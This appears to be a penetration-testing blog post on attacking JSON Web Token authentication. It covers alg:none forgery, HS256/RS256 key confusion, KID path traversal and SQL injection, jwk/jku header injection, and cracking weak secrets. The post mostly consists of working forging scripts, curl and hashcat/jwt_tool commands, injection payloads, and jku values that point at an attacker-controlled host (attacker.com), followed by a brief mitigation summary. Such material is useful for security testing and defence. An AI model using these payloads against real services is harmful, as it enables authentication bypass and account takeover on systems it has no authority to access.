JWT Algorithm Confusion: None, HS256/RS256 Mix-Ups, and KID Injection

A hands-on tour of the JWT attack surface - from the classic alg:none to public-key-as-HMAC-secret confusion, KID path traversal and SQLi, JWK header injection, and weak HS256 secret cracking. With jwt_tool payloads and real exploitation paths.

Why JWTs Fail in Interesting Ways

A JSON Web Token is three base64url blobs joined by dots:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9   ← header
.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIn0   ← payload
.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c   ← signature

The header declares how the signature was produced. The payload carries claims. The signature binds them. Any flaw in “how we trust the header’s declaration” is an auth bypass.

Attack 1: alg: none

The original JWT sin. The spec defines "alg": "none" as a valid value - “this token is unsigned.” Libraries that trust the header without configuring an allowlist will accept a token with no signature.

Original token:

{"alg": "HS256", "typ": "JWT"}.{"user": "jsmith", "role": "user"}.xxxxxxxx

Tamper to:

{"alg": "none", "typ": "JWT"}.{"user": "admin", "role": "admin"}.

Empty signature. Still accepted by older versions of jsonwebtoken (Node), python-jwt, several Go libraries.

Payload quick-craft:

# base64url-encode header and payload, join with dots, drop signature
python3 -c "
import base64, json
def b64u(d): return base64.urlsafe_b64encode(json.dumps(d, separators=(',',':')).encode()).rstrip(b'=').decode()
h = b64u({'alg':'none','typ':'JWT'})
p = b64u({'user':'admin','role':'admin'})
print(f'{h}.{p}.')
"

Also try None, NONE, NonE - case-sensitive library checks sometimes miss variants.

Modern libraries reject this by default, but one config line (jwt.decode(token, options={'verify_signature': False})) reopens it. Look at server error responses: if tampering the signature returns a different error than tampering the alg, there’s a logic split worth probing.

Attack 2: HS256/RS256 Key Confusion

The most reliable modern JWT attack. Here’s the setup:

  • The server issues tokens signed with RS256 (asymmetric: private key signs, public key verifies)
  • The public key is available - it’s public by design, often at /.well-known/jwks.json or /publickey.pem
  • The server’s verification code is roughly: jwt.verify(token, public_key) - passing the public key as the secret
  • If the library picks the HMAC function based on the token’s alg header, you can sign a forged token with HMAC-SHA256 using the public key as the secret

The verification turns into HMAC-SHA256(public_key, header+payload) == supplied_signature - which you can satisfy, because you have the public key.

Exploitation:

# 1. Get the public key
curl -s https://target/publickey.pem -o pub.pem

# 2. Craft a token claiming HS256, signed with the public key as HMAC secret
python3 << 'EOF'
import jwt
with open('pub.pem', 'rb') as f:
    key = f.read()
token = jwt.encode(
    {"user": "admin", "role": "admin", "exp": 9999999999},
    key,
    algorithm="HS256"
)
print(token)
EOF

Or with jwt_tool:

jwt_tool <original-jwt> -X k -pk pub.pem

Gotcha: the key must be byte-exact to what the server passes to HMAC.new(...). Watch for:

  • Trailing newline differences (\n vs none)
  • PEM vs DER encoding
  • PKCS#1 vs PKCS#8 wrapping

Try both with and without the trailing newline - it’s usually the culprit.

Attack 3: KID Path Traversal / File Injection

The kid (Key ID) header tells the server which key to verify with. Some implementations read it as a filesystem path:

{"alg": "HS256", "kid": "/etc/ssl/keys/jwt-hmac.pem"}

If the server does open(kid).read() without sanitization:

Traversal to a known file:

{"alg": "HS256", "kid": "../../../../../../dev/null"}

Sign with an empty byte string - /dev/null reads as empty, HMAC(b””, payload) is deterministic, and you control it.

Traversal to a predictable file:

{"alg": "HS256", "kid": "../../var/www/html/index.html"}

Sign with the contents of index.html (often fetchable).

SQLi via KID (when kid is a DB lookup):

{"alg": "HS256", "kid": "x' UNION SELECT 'AAAA'-- -"}

If the server returns the injected value as the “key”, sign with AAAA (base64-decoded).

Attack 4: JWK Header Injection

Some libraries pull the verification key from the token itself via the jwk or jku header. If those aren’t pinned to a trust list, you provide your own key:

Embedded JWK (jwk):

{
  "alg": "RS256",
  "jwk": {
    "kty": "RSA",
    "n": "<your-public-key-modulus-b64url>",
    "e": "AQAB"
  }
}

Server extracts your public key from the header, verifies the signature - which you made with your matching private key. Trusted.

Remote JWK Set URL (jku):

{"alg": "RS256", "jku": "https://attacker.com/jwks.json"}

Host jwks.json on your own server with a public key that pairs with the private key you signed with. If the server blindly fetches from the jku URL, you’re in.

Mitigation, so you know what to probe for: servers should ignore jwk/jku or strictly allowlist jku domains. Test with an out-of-band callback URL first to confirm the server actually fetches:

jku: https://attacker.com/callback/

If you see a hit, it’s game on.

Attack 5: Cracking Weak HS256 Secrets

If the server uses HMAC with a guessable secret - config default, short string, or a well-known value - you can crack it offline:

# hashcat mode 16500 for JWT
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# Or jwt_tool's built-in cracker
jwt_tool <token> -C -d /usr/share/wordlists/rockyou.txt

Real-world secrets I’ve cracked during engagements:

  • secret
  • changeme
  • jwt-secret
  • <company>-jwt
  • 0000 (yes, really)
  • The literal string your-256-bit-secret (copied from library docs)

A 6-char lowercase secret cracks in seconds on modern GPUs.

Attack 6: Claim Manipulation & Missing Validation

Even a perfectly signed token is dangerous if claims aren’t validated:

  • exp missing check: token from a year-old account still works
  • iss missing check: a token from a different tenant gets accepted
  • aud missing check: token issued for Service A authenticates to Service B
  • Type confusion: {"role": ["admin"]} vs {"role": "admin"} - one splits an array in server-side comparisons
  • Unicode normalization: admin vs admin (fullwidth) can mismatch a lowercase filter but pass a downstream check

Always verify not just the signature but every claim your authorization logic depends on.

Tooling Quick-Reference

Tool Use
jwt_tool Swiss army - bruteforce, alg confusion, header injection
jwt-cracker Fast HS256 bruteforce
Burp + JWT Editor extension Live tampering during proxied flows
python-jose, PyJWT Craft custom payloads with precise control
pemcrypt.org/jwt.io Manual decode/encode when automation breaks

Bounty-Sized Checklist

When you see a JWT in a target:

  1. alg: none + variants (case, Unicode)
  2. Strip signature entirely
  3. HS256/RS256 confusion with the public key
  4. KID traversal → /dev/null, /etc/hostname, predictable files
  5. KID SQLi / command injection
  6. jku / jwk / x5u header injection
  7. Weak HS256 secret crack
  8. Expired/revoked tokens still working
  9. aud/iss missing checks
  10. Nested JWT ({"typ":"JWT", "cty":"JWT"}) - some validators only check the outer

Any one of these ten is an Auth bypass. In API-driven applications, JWTs are often the only thing between an attacker and a sensitive action - enumerate them all.

Summary

JWTs aren’t cryptographically weak. The libraries that implement them are. Most successful JWT attacks target the library’s trust assumptions - which algorithm to use, which key to trust, which claims to validate - not the math.

Never trust the token to tell you how to verify itself. Pin the algorithm, pin the key, and validate every claim you depend on.

← Home More Web exploitation →